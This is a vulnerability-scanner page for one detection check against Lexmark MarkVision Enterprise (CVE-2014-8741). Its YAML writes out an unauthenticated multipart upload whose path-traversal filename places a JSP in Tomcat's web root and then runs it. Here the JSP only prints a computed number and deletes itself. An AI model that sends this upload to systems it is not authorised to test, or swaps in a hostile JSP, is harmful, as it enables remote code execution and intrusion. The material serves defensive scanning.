Lexmark Mve — 1 vulnerability check

noctis ships 1 vulnerability check for Lexmark Mve, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Lexmark MarkVision Enterprise GfdFileUploadServlet Traversal JSP Upload

CVECVE-2014-8741
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/lexmark-mve/CVE-2014-8741.yaml

Detects Lexmark MarkVision Enterprise before 2.1, whose GfdFileUploadServlet (/mve/upload/gfd) stores an uploaded file under the client-supplied file name without removing "..\" sequences, so an unauthenticated user can write a JSP into the Tomcat ROOT web application and run it. The test uploads a per-run JSP named with a random value through that traversal, reads the stored file name from the servlet's reply, then requests the JSP: it prints the sum of two random numbers and deletes itself. The finding is reported at the highest confidence when that computed sum comes back, which proves code execution. When the upload cannot be confirmed but the product's about page reports a version older than 2.1, the finding is reported at a lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /mve/upload/gfd with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /{{s.file}}
  5. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: POST /mve/upload/gfd with datafile filename /..\..\..\tomcat\webapps\ROOT\….jsp was stored as …; GET /… executed it and returned the comput…
  6. HTTP(S) request GET /mve/help/en/inventory/am_about.html
  7. Parses / computes the next value with a Rhai script
  8. Checks v.ver for (?i)^MarkVision Enterprise [0-9] → finding QoD 70: Lexmark MarkVision Enterprise < 2.1 GfdFileUploadServlet Traversal Upload (CVE-2014-8741, version check)

References:

Feed source — tests/vulnerabilities/lexmark-mve/CVE-2014-8741.yaml
# Lexmark MarkVision Enterprise < 2.1 — GfdFileUploadServlet directory
# traversal file upload leading to JSP code execution as SYSTEM
# (CVE-2014-8741, ZDI-14-410, Lexmark TE666; fixed in 2.1.0).
#
# Ported from OpenVAS/Greenbone NVT
#   2015/gb_lexmark_markvision_enterprise_71623.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.105171, GPL-2.0-only)
# Exploit shape cross-checked with the Metasploit module
#   exploits/windows/http/lexmark_markvision_gfd_upload (EDB-35776) and the
#   Nessus plugin 80554 (sample reply: >success - "nessus-1421070914970.txt"<).
#
# How the servlet behaves: POST /mve/upload/gfd (multipart) stores the
# "datafile" part under ...\apps\library\gfd-scheduled\ using the client
# file name, with a time stamp added before the extension, and answers with
# the "success" field, where "$fn" is replaced by the stored name in quotes.
# The file name is not sanitised, so "/..\..\..\tomcat\webapps\ROOT\x.jsp"
# lands in Tomcat's ROOT web application, where a .jsp is compiled and run.
#
# Detection:
#   1. QoD 97 (real exploitation, benign): upload a per-run JSP through the
#      traversal to tomcat\webapps\ROOT\, read the stored name from the
#      success echo, GET /<stored name>. The JSP only prints NOCTIS<a+b>END —
#      the sum of two per-run random numbers, never in the uploaded source —
#      then deletes its own file.
#   2. QoD 70 fallback: the product's about page reports MarkVision
#      Enterprise older than 2.1 (Metasploit check), when the upload cannot be
#      confirmed (e.g. a non-default install directory).
#
# Better than the NASL: the NASL uploads a .txt and only proves the write; it
# never reports a host where the install layout differs. This feed proves
# code execution with a self-deleting JSP (instead of leaving a "delete me"
# text file behind) and keeps a version fallback for those hosts.
#
# Leftovers: a 2.1+ server still accepts the upload but keeps it, inert, in
# apps\library\gfd-scheduled\ (never web-reachable or executed); after a
# successful run only Jasper's compiled class stays under tomcat\work\.
uid: 715d9e61-5d3a-4b1d-8abe-24f5f9e8eed2
name: "Lexmark MarkVision Enterprise GfdFileUploadServlet Traversal JSP Upload (CVE-2014-8741)"
description: |
  Detects Lexmark MarkVision Enterprise before 2.1, whose GfdFileUploadServlet
  (/mve/upload/gfd) stores an uploaded file under the client-supplied file
  name without removing "..\" sequences, so an unauthenticated user can write
  a JSP into the Tomcat ROOT web application and run it. The test uploads a
  per-run JSP named with a random value through that traversal, reads the
  stored file name from the servlet's reply, then requests the JSP: it prints
  the sum of two random numbers and deletes itself. The finding is reported
  at the highest confidence when that computed sum comes back, which proves
  code execution. When the upload cannot be confirmed but the product's about
  page reports a version older than 2.1, the finding is reported at a lower
  confidence.
cves: [CVE-2014-8741]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [lexmark, markvision, mve, file-upload, path-traversal, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-8741"
  - "https://www.zerodayinitiative.com/advisories/ZDI-14-410"
  - "https://www.exploit-db.com/exploits/35776"
  - "https://www.tenable.com/plugins/nessus/80554"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/http/lexmark_markvision_gfd_upload.rb"

steps:
  # Per-run file name, reply signature and operands. The marker is a+b, which
  # never appears in the uploaded JSP source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name: "noctis" + rand_hex(8), sig: "noctis" + rand_hex(10), a: a, b: b,
         marker: "NOCTIS" + (a + b) + "END" }
    store_as: g

  # Pre-initialise every result a script reads, so a host where a request is
  # skipped or fails does not abort the test on an undefined variable.
  - id: init_up
    action: set_var
    var_name: up
    var_value: ""

  - id: init_ab
    action: set_var
    var_name: ab
    var_value: ""

  # ── 1. Traversal upload of a self-deleting JSP into tomcat\webapps\ROOT ──
  - id: upload
    action: http_request
    method: POST
    path: "/mve/upload/gfd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "multipart/form-data; boundary=----noctis{{g.a}}"
    body: "------noctis{{g.a}}\r\nContent-Disposition: form-data; name=\"success\"\r\n\r\n{{g.sig}}:$fn\r\n------noctis{{g.a}}\r\nContent-Disposition: form-data; name=\"failure\"\r\n\r\n{{g.sig}}::ERROR\r\n------noctis{{g.a}}\r\nContent-Disposition: form-data; name=\"datafile\"; filename=\"/..\\..\\..\\tomcat\\webapps\\ROOT\\{{g.name}}.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n------noctis{{g.a}}--\r\n"
    store_as: up

  # The servlet echoes the success field with $fn replaced by the stored name
  # in quotes (it adds a time stamp before the extension). Only a name built
  # from our per-run base and ending in .jsp is requested.
  - id: stored
    action: script
    code: |
      let stored = "";
      if type_of(up) == "map" && up.status == 200 {
        let m = eregmatch(">\\s*" + g.sig + "\\s*:\\s*\"([^\"<>]+)\"\\s*<", up.body);
        if m.len() > 1 {
          let n = m[1];
          let parts = split(str_replace(n, "\\", "/"), "/");
          n = parts[parts.len() - 1];
          if ereg("^" + g.name + "[A-Za-z0-9_.-]*\\.jsp$", n) { stored = n; }
        }
      }
      #{ ok: stored != "", file: stored }
    store_as: s

  - id: fetch
    action: http_request
    method: GET
    path: "/{{s.file}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "s.ok"
    store_as: jsp

  # Only a server that wrote the file into the web root AND ran it as a JSP
  # returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "s.ok && type_of(jsp) == \"map\" && jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "POST /mve/upload/gfd with datafile filename /..\\..\\..\\tomcat\\webapps\\ROOT\\{{g.name}}.jsp was stored as {{s.file}}; GET /{{s.file}} executed it and returned the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

  # ── 2. Fallback: version from the about page (< 2.1) ──────────────────────
  - id: about
    action: http_request
    method: GET
    path: "/mve/help/en/inventory/am_about.html"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: ab

  - id: version
    action: script
    code: |
      let ver = "";
      if type_of(ab) == "map" && ab.status == 200 {
        let m = eregmatch("MarkVision Enterprise ([0-9]+)\\.([0-9]+)(\\.[0-9.]+)?", ab.body, true);
        if m.len() > 2 {
          let major = int(m[1]);
          let minor = int(m[2]);
          if major < 2 || (major == 2 && minor < 1) { ver = m[0]; }
        }
      }
      #{ vuln: ver != "", ver: ver }
    store_as: v

  - id: version_match
    action: match
    source: v.ver
    pattern: "(?i)^MarkVision Enterprise [0-9]"
    condition: "v.vuln"
    on_match:
      finding:
        title: "Lexmark MarkVision Enterprise < 2.1 GfdFileUploadServlet Traversal Upload (CVE-2014-8741, version check)"
        confidence_delta: 0.45
        qod: 70
        evidence: "/mve/help/en/inventory/am_about.html reports {{v.ver}} (fixed in 2.1.0); the JSP upload through /mve/upload/gfd could not be confirmed (if the servlet accepted it, remove {{g.name}}*.jsp wherever it was stored, e.g. tomcat\\webapps\\ROOT or apps\\library\\gfd-scheduled; it deletes itself when run)"
      stop: true

View these feeds on GitHub